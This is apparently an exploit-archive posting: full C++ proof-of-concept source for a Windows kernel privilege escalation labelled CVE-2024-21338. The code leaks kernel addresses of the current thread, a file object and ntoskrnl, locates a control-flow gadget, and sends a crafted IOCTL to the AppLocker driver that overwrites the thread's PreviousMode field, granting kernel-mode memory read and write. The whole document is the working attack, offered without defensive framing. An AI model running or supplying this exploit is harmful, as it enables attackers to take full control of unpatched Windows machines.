Microsoft Windows 11 – Kernel Privilege Escalation
# Exploit Title: Microsoft Windows 11 - Kernel Privilege Escalation # Date: 2025-04-16 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Tested on: Win, Ubuntu # CVE : CVE-2024-21338 #include "pch.hpp" #include "poc.hpp" // This function is used to set the IOCTL buffer depending on the Windows version void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW* os_info) { os_info->dwOSVersionInfoSize = sizeof(*os_info); // Get the OS version NTSTATUS status = RtlGetVersion(os_info); if (!NT_SUCCESS(status)) { log_err("Failed to get OS version!"); return nullptr; } log_debug("Windows version detected: %lu.%lu, build: %lu.", os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber); // "PreviousMode" offset in ETHREAD structure *k_thread_offset = 0x232; // Set the "AipSmartHashImageFile" function buffer depending on the Windows version void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000 ? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10)) : malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11)); return ioctl_buffer_alloc; } // This function is used to get the ETHREAD address through the SystemHandleInformation method that is used to get the address of the current thread object based on the pseudo handle -2 UINT_PTR c_poc::get_ethread_address() { // Duplicate the pseudo handle -2 to get the current thread object HANDLE h_current_thread_pseudo = reinterpret_cast<HANDLE>(-2); HANDLE h_duplicated_handle = {}; if (!DuplicateHandle( reinterpret_cast<HANDLE>(-1), h_current_thread_pseudo, reinterpret_cast<HANDLE>(-1), &h_duplicated_handle, NULL, FALSE, DUPLICATE_SAME_ACCESS)) { log_err("Failed to duplicate handle, error: %lu", GetLastError()); return EXIT_FAILURE; } NTSTATUS status = {}; ULONG ul_bytes = {}; PSYSTEM_HANDLE_INFORMATION h_table_info = {}; // Get the current thread object address while ((status = NtQuerySystemInformation(SystemHandleInformation, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) { if (h_table_info != NULL) h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes)); else h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes)); } UINT_PTR ptr_token_address = 0; if (NT_SUCCESS(status)) { for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) { if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() && h_table_info->Handles[i].HandleValue == reinterpret_cast<USHORT>(h_duplicated_handle)) { ptr_token_address = reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object); break; } } } else { if (h_table_info) { log_err("NtQuerySystemInformation failed, (code: 0x%X)", status); NtClose(h_duplicated_handle); } } return ptr_token_address; } // This function is used to get the FileObject address through the SystemHandleInformation method that is used to get the address of the file object. UINT_PTR c_poc::get_file_object_address() { // Create a dummy file to get the file object address HANDLE h_file = CreateFileW(L"C:\\Users\\Public\\example.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); if (h_file == INVALID_HANDLE_VALUE) { log_err("Failed to open dummy file, error: %lu", GetLastError()); return EXIT_FAILURE; } // Get the file object address NTSTATUS status = {}; ULONG ul_bytes = 0; PSYSTEM_HANDLE_INFORMATION h_table_info = NULL; while ((status = NtQuerySystemInformation( SystemHandleInformation, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) { if (h_table_info != NULL) h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes); else h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes); } UINT_PTR token_address = 0; if (NT_SUCCESS(status)) { for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) { if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() && h_table_info->Handles[i].HandleValue == reinterpret_cast<USHORT>(h_file)) { token_address = reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object); break; } } } return token_address; } // This function is used to get the kernel module address based on the module name UINT_PTR c_poc::get_kernel_module_address(const char* target_module) { // Get the kernel module address based on the module name NTSTATUS status = {}; ULONG ul_bytes = {}; PSYSTEM_MODULE_INFORMATION h_table_info = {}; while ((status = NtQuerySystemInformation( SystemModuleInformation, h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) { if (h_table_info != NULL) h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes); else h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes); } if (NT_SUCCESS(status)) { for (ULONG i = 0; i < h_table_info->ModulesCount; i++) { if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) { return reinterpret_cast<UINT_PTR>( h_table_info->Modules[i].ImageBaseAddress); } } } return 0; } // This function is used to scan the section for the pattern. BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size, LPVOID* lp_found_address) { std::unique_ptr<BYTE[]> buffer(new BYTE[dw_size]); SIZE_T bytes_read = {}; if (!ReadProcessMemory(h_process, lp_base_address, buffer.get(), dw_size, &bytes_read)) { return false; } for (SIZE_T i = 0; i < dw_size - pattern_size; i++) { if (memcmp(pattern, &buffer[i], pattern_size) == 0) { *lp_found_address = reinterpret_cast<LPVOID>( reinterpret_cast<DWORD_PTR>(lp_base_address) + i); return true; } } return false; } // This function is used to find the pattern in the module, in this case the pattern is the nt!ExpProfileDelete function UINT_PTR c_poc::find_pattern(HMODULE h_module) { UINT_PTR relative_offset = {}; auto* p_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(h_module); auto* p_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>( reinterpret_cast<LPBYTE>(h_module) + p_dos_header->e_lfanew); auto* p_section_header = IMAGE_FIRST_SECTION(p_nt_headers); LPVOID lp_found_address = nullptr; for (WORD i = 0; i < p_nt_headers->FileHeader.NumberOfSections; i++) { if (strcmp(reinterpret_cast<CHAR*>(p_section_header[i].Name), "PAGE") == 0) { LPVOID lp_section_base_address = reinterpret_cast<LPVOID>(reinterpret_cast<LPBYTE>(h_module) + p_section_header[i].VirtualAddress); SIZE_T dw_section_size = p_section_header[i].Misc.VirtualSize; // Pattern to nt!ExpProfileDelete BYTE pattern[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74 }; SIZE_T pattern_size = sizeof(pattern); if (this->scan_section_for_pattern( GetCurrentProcess(), lp_section_base_address, dw_section_size, pattern, pattern_size, &lp_found_address)) { relative_offset = reinterpret_cast<UINT_PTR>(lp_found_address) - reinterpret_cast<UINT_PTR>(h_module); } break; } } return relative_offset; } // This function is used to send the IOCTL request to the driver, in this case the AppLocker driver through the AipSmartHashImageFile IOCTL bool c_poc::send_ioctl_request(HANDLE h_device, PVOID input_buffer, size_t input_buffer_length) { IO_STATUS_BLOCK io_status = {}; NTSTATUS status = NtDeviceIoControlFile(h_device, nullptr, nullptr, nullptr, &io_status, this->IOCTL_AipSmartHashImageFile, input_buffer, input_buffer_length, nullptr, 0); return NT_SUCCESS(status); } // This function executes the exploit bool c_poc::act() { // Get the OS version, set the IOCTL buffer and open a handle to the AppLocker driver OSVERSIONINFOEXW os_info = {}; size_t offset_of_previous_mode = {}; auto ioctl_buffer = this->set_ioctl_buffer(&offset_of_previous_mode, &os_info); if (!ioctl_buffer) { log_err("Failed to allocate the correct buffer to send on the IOCTL request."); return false; } // Open a handle to the AppLocker driver OBJECT_ATTRIBUTES object_attributes = {}; UNICODE_STRING appid_device_name = {}; RtlInitUnicodeString(&appid_device_name, L"\\Device\\AppID"); InitializeObjectAttributes(&object_attributes, &appid_device_name, OBJ_CASE_INSENSITIVE, NULL, NULL, NULL); IO_STATUS_BLOCK io_status = {}; HANDLE h_device = {}; NTSTATUS status = NtCreateFile(&h_device, GENERIC_READ | GENERIC_WRITE, &object_attributes, &io_status, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0); if (!NT_SUCCESS(status)) { log_debug("Failed to open a handle to the AppLocker driver (%ls) (code: 0x%X)", appid_device_name.Buffer, status); return false; } log_debug("AppLocker (AppId) handle opened: 0x%p", h_device); log_debug("Leaking the current ETHREAD address."); // Get the ETHREAD address, FileObject address, KernelBase address and the relative offset of the nt!ExpProfileDelete function auto e_thread_address = this->get_ethread_address(); auto file_obj_address = this->get_file_object_address(); auto ntoskrnl_kernel_base_address = this->get_kernel_module_address("ntoskrnl.exe"); auto ntoskrnl_user_base_address = LoadLibraryExW(L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, NULL); if (!e_thread_address && !ntoskrnl_kernel_base_address && !ntoskrnl_user_base_address && !file_obj_address) { log_debug("Failed to fetch the ETHREAD/FileObject/KernelBase addresses."); return false; } log_debug("ETHREAD address leaked: 0x%p", e_thread_address); log_debug("Feching the ExpProfileDelete (user cfg gadget) address."); auto relative_offset = this->find_pattern(ntoskrnl_user_base_address); UINT_PTR kcfg_gadget_address = (ntoskrnl_kernel_base_address + relative_offset); ULONG_PTR previous_mode = (e_thread_address + offset_of_previous_mode); log_debug("Current ETHREAD PreviousMode address -> 0x%p", previous_mode); log_debug("File object address -> 0x%p", file_obj_address); log_debug("kCFG Kernel Base address -> 0x%p", ntoskrnl_kernel_base_address); log_debug("kCFG User Base address -> 0x%p", ntoskrnl_user_base_address); log_debug("kCFG Gadget address -> 0x%p", kcfg_gadget_address); // Set the IOCTL buffer depending on the Windows version size_t ioctl_buffer_length = {}; CFG_FUNCTION_WRAPPER kcfg_function = {}; if (os_info.dwBuildNumber < 22000) { AIP_SMART_HASH_IMAGE_FILE_W10* w10_ioctl_buffer = (AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer; kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address; // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag UINT_PTR previous_mode_obf = previous_mode + 0x30; w10_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00 w10_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08 w10_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10 ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10); } else { AIP_SMART_HASH_IMAGE_FILE_W11* w11_ioctl_buffer = (AIP_SMART_HASH_IMAGE_FILE_W11*)ioctl_buffer; kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address; // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag UINT_PTR previous_mode_obf = previous_mode + 0x30; w11_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00 w11_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08 w11_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10 w11_ioctl_buffer->Unknown = NULL; // +0x18 ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11); } // Send the IOCTL request to the driver log_debug("Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)"); char* buffer = (char*)malloc(sizeof(CHAR)); if (ioctl_buffer) { log_debug("ioctl_buffer -> 0x%p size: %d", ioctl_buffer, ioctl_buffer_length); if (!this->send_ioctl_request(h_device, ioctl_buffer, ioctl_buffer_length)) return false; NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer, (PVOID)previous_mode, sizeof(CHAR), nullptr); log_debug("Current PreviousMode -> %d", *buffer); // From now on all Read/Write operations will be done in Kernel Mode. } log_debug("Restoring..."); // Restores PreviousMode to 1 (user-mode). *buffer = 1; NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode, (PVOID)buffer, sizeof(CHAR), nullptr); log_debug("Current PreviousMode -> %d", *buffer); // Free the allocated memory and close the handle to the AppLocker driver free(ioctl_buffer); free(buffer); NtClose(h_device); return true; } |